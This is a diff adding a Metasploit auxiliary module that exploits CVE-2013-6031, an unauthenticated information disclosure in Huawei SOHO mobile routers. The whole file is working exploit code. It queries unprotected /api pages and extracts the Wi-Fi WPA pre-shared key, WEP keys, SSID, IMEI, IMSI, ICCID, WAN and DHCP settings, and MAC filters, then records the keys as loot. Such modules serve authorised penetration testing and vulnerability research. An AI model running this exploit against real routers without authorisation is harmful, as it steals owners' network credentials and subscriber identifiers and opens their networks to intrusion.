|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'base64' |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + BASIC_INFO = { |
| 15 | + 'Device Name' => /<DeviceName>(.*)<\/DeviceName>/i, |
| 16 | + 'Serial Number' => /<SerialNumber>(.*)<\/SerialNumber>/i, |
| 17 | + 'IMEI' => /<Imei>(.*)<\/Imei>/i, |
| 18 | + 'IMSI' => /<Imsi>(.*)<\/Imsi>/i, |
| 19 | + 'ICCID' => /<Iccid>(.*)<\/Iccid>/i, |
| 20 | + 'Hardware Version' => /<HardwareVersion>(.*)<\/HardwareVersion>/i, |
| 21 | + 'Software Version' => /<SoftwareVersion>(.*)<\/SoftwareVersion>/i, |
| 22 | + 'WebUI Version' => /<WebUIVersion>(.*)<\/WebUIVersion>/i, |
| 23 | + 'Mac Address1' => /<MacAddress1>(.*)<\/MacAddress1>/i, |
| 24 | + 'Mac Address2' => /<MacAddress2>(.*)<\/MacAddress2>/i, |
| 25 | + 'Product Family' => /<ProductFamily>(.*)<\/ProductFamily>/i, |
| 26 | + 'Classification' => /<Classify>(.*)<\/Classify>/i |
| 27 | + } |
| 28 | + |
| 29 | + WAN_INFO = { |
| 30 | + 'Wan IP Address' => /<WanIPAddress>(.*)<\/WanIPAddress>/i, |
| 31 | + 'Primary Dns' => /<PrimaryDns>(.*)<\/PrimaryDns>/i, |
| 32 | + 'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i |
| 33 | + } |
| 34 | + |
| 35 | + DHCP_INFO ={ |
| 36 | + 'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i, |
| 37 | + 'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i, |
| 38 | + 'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i, |
| 39 | + 'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i |
| 40 | + } |
| 41 | + |
| 42 | + WIFI_INFO = { |
| 43 | + 'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/WifiWpapsk>/i, |
| 44 | + 'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/WifiAuthmode>/i, |
| 45 | + 'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i, |
| 46 | + 'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i, |
| 47 | + 'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/WifiWepKey1>/i, |
| 48 | + 'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/WifiWepKey2>/i, |
| 49 | + 'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/WifiWepKey3>/i, |
| 50 | + 'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/WifiWepKey4>/i, |
| 51 | + 'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i |
| 52 | + } |
| 53 | + |
| 54 | + def initialize(info={}) |
| 55 | + super(update_info(info, |
| 56 | + 'Name' => "Huawei Datacard Information Disclosure Vulnerability", |
| 57 | + 'Description' => %q{ |
| 58 | + This module exploits an un-authenticated information disclosure vulnerability in Huawei |
| 59 | + SOHO routers. The module will gather information by accessing the /api pages where |
| 60 | + authentication is not required, allowing configuration changes as well as information |
| 61 | + disclosure including any stored SMS. |
| 62 | + }, |
| 63 | + 'License' => MSF_LICENSE, |
| 64 | + 'Author' => |
| 65 | + [ |
| 66 | + 'Jimson K James.', |
| 67 | + '<tomsmaily[at]aczire.com>', # Msf module |
| 68 | + ], |
| 69 | + 'References' => |
| 70 | + [ |
| 71 | + ['CWE', '425'], |
| 72 | + ['CVE', '2013-6031'], |
| 73 | + ['US-CERT-VU', '341526'], |
| 74 | + ['URL', 'http://www.huaweidevice.co.in/Support/Downloads/'], |
| 75 | + ], |
| 76 | + 'DisclosureDate' => "Nov 11 2013" )) |
| 77 | + |
| 78 | + register_options( |
| 79 | + [ |
| 80 | + Opt::RHOST('mobilewifi.home') |
| 81 | + ], self.class) |
| 82 | + |
| 83 | + end |
| 84 | + |
| 85 | + #Gather basic router information |
| 86 | + def run |
| 87 | + get_router_info |
| 88 | + print_line('') |
| 89 | + get_router_mac_filter_info |
| 90 | + print_line('') |
| 91 | + get_router_wan_info |
| 92 | + print_line('') |
| 93 | + get_router_dhcp_info |
| 94 | + print_line('') |
| 95 | + get_wifi_info |
| 96 | + end |
| 97 | + |
| 98 | + def get_wifi_info |
| 99 | + |
| 100 | + print_status("#{peer} - Getting WiFi Key details...") |
| 101 | + res = send_request_raw( |
| 102 | + { |
| 103 | + 'method' => 'GET', |
| 104 | + 'uri' => '/api/wlan/security-settings', |
| 105 | + }) |
| 106 | + |
| 107 | + unless is_target?(res) |
| 108 | + return |
| 109 | + end |
| 110 | + |
| 111 | + resp_body = res.body.to_s |
| 112 | + log = '' |
| 113 | + |
| 114 | + print_status("WiFi Key Details") |
| 115 | + |
| 116 | + wifi_ssid = get_router_ssid |
| 117 | + if wifi_ssid |
| 118 | + print_status("WiFi SSID: #{wifi_ssid}") |
| 119 | + log << "WiFi SSID: #{wifi_ssid}\n" |
| 120 | + end |
| 121 | + |
| 122 | + WIFI_INFO.each do |k,v| |
| 123 | + if resp_body.match(v) |
| 124 | + info = $1 |
| 125 | + print_status("#{k}: #{info}") |
| 126 | + log << "#{k}: #{info}\n" |
| 127 | + end |
| 128 | + end |
| 129 | + |
| 130 | + report_note( |
| 131 | + :host => rhost, |
| 132 | + :type => 'wifi_keys', |
| 133 | + :data => log |
| 134 | + ) |
| 135 | + end |
| 136 | + |
| 137 | + def get_router_info |
| 138 | + |
| 139 | + print_status("#{peer} - Gathering basic device information...") |
| 140 | + res = send_request_raw( |
| 141 | + { |
| 142 | + 'method' => 'GET', |
| 143 | + 'uri' => '/api/device/information', |
| 144 | + }) |
| 145 | + |
| 146 | + unless is_target?(res) |
| 147 | + return |
| 148 | + end |
| 149 | + |
| 150 | + resp_body = res.body.to_s |
| 151 | + |
| 152 | + print_status("Basic Information") |
| 153 | + |
| 154 | + BASIC_INFO.each do |k,v| |
| 155 | + if resp_body.match(v) |
| 156 | + info = $1 |
| 157 | + print_status("#{k}: #{info}") |
| 158 | + end |
| 159 | + end |
| 160 | + end |
| 161 | + |
| 162 | + def get_router_ssid |
| 163 | + print_status("#{peer} - Gathering device SSID...") |
| 164 | + |
| 165 | + res = send_request_raw( |
| 166 | + { |
| 167 | + 'method' => 'GET', |
| 168 | + 'uri' => '/api/wlan/basic-settings', |
| 169 | + }) |
| 170 | + |
| 171 | + #check whether we got any response from server and proceed. |
| 172 | + unless is_target?(res) |
| 173 | + return nil |
| 174 | + end |
| 175 | + |
| 176 | + resp_body = res.body.to_s |
| 177 | + |
| 178 | + # Grabbing the Wifi SSID |
| 179 | + if resp_body.match(/<WifiSsid>(.*)<\/WifiSsid>/i) |
| 180 | + return $1 |
| 181 | + end |
| 182 | + |
| 183 | + nil |
| 184 | + end |
| 185 | + |
| 186 | + def get_router_mac_filter_info |
| 187 | + print_status("#{peer} - Gathering MAC filters...") |
| 188 | + res = send_request_raw( |
| 189 | + { |
| 190 | + 'method' => 'GET', |
| 191 | + 'uri' => '/api/wlan/mac-filter', |
| 192 | + }) |
| 193 | + |
| 194 | + unless is_target?(res) |
| 195 | + return |
| 196 | + end |
| 197 | + |
| 198 | + print_status('MAC Filter Information') |
| 199 | + |
| 200 | + resp_body = res.body.to_s |
| 201 | + |
| 202 | + if resp_body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i) |
| 203 | + wifi_mac_filter_status = $1 |
| 204 | + print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" ) |
| 205 | + end |
| 206 | + |
| 207 | + (0..9).each do |i| |
| 208 | + if resp_body.match(/<WifiMacFilterMac#{i}>(.*)<\/WifiMacFilterMac#{i}>/i) |
| 209 | + wifi_mac_filter = $1 |
| 210 | + unless wifi_mac_filter.empty? |
| 211 | + print_status("Mac: #{wifi_mac_filter}") |
| 212 | + end |
| 213 | + end |
| 214 | + end |
| 215 | + end |
| 216 | + |
| 217 | + def get_router_wan_info |
| 218 | + print_status("#{peer} - Gathering WAN information...") |
| 219 | + res = send_request_raw( |
| 220 | + { |
| 221 | + 'method' => 'GET', |
| 222 | + 'uri' => '/api/monitoring/status', |
| 223 | + }) |
| 224 | + |
| 225 | + unless is_target?(res) |
| 226 | + return |
| 227 | + end |
| 228 | + |
| 229 | + resp_body = res.body.to_s |
| 230 | + |
| 231 | + print_status('WAN Details') |
| 232 | + |
| 233 | + WAN_INFO.each do |k,v| |
| 234 | + if resp_body.match(v) |
| 235 | + info = $1 |
| 236 | + print_status("#{k}: #{info}") |
| 237 | + end |
| 238 | + end |
| 239 | + end |
| 240 | + |
| 241 | + def get_router_dhcp_info |
| 242 | + print_status("#{peer} - Gathering DHCP information...") |
| 243 | + res = send_request_raw( |
| 244 | + { |
| 245 | + 'method' => 'GET', |
| 246 | + 'uri' => '/api/dhcp/settings', |
| 247 | + }) |
| 248 | + |
| 249 | + unless is_target?(res) |
| 250 | + return |
| 251 | + end |
| 252 | + |
| 253 | + resp_body = res.body.to_s |
| 254 | + |
| 255 | + print_status('DHCP Details') |
| 256 | + |
| 257 | + # Grabbing the DhcpStatus |
| 258 | + if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i) |
| 259 | + dhcp_status = $1 |
| 260 | + print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}") |
| 261 | + end |
| 262 | + |
| 263 | + unless dhcp_status && dhcp_status == '1' |
| 264 | + return |
| 265 | + end |
| 266 | + |
| 267 | + DHCP_INFO.each do |k,v| |
| 268 | + if resp_body.match(v) |
| 269 | + info = $1 |
| 270 | + print_status("#{k}: #{info}") |
| 271 | + end |
| 272 | + end |
| 273 | + end |
| 274 | + |
| 275 | + def is_target?(res) |
| 276 | + #check whether we got any response from server and proceed. |
| 277 | + unless res |
| 278 | + print_error("#{peer} - Failed to get any response from server") |
| 279 | + return false |
| 280 | + end |
| 281 | + |
| 282 | + #Is it a HTTP OK |
| 283 | + unless res.code == 200 |
| 284 | + print_error("#{peer} - Did not get HTTP 200, URL was not found") |
| 285 | + return false |
| 286 | + end |
| 287 | + |
| 288 | + #Check to verify server reported is a Huawei router |
| 289 | + unless res.headers['Server'].match(/IPWEBS\/1.4.0/i) |
| 290 | + print_error("#{peer} - Target doesn't seem to be a Huawei router") |
| 291 | + return false |
| 292 | + end |
| 293 | + |
| 294 | + true |
| 295 | + end |
| 296 | +end |
0 commit comments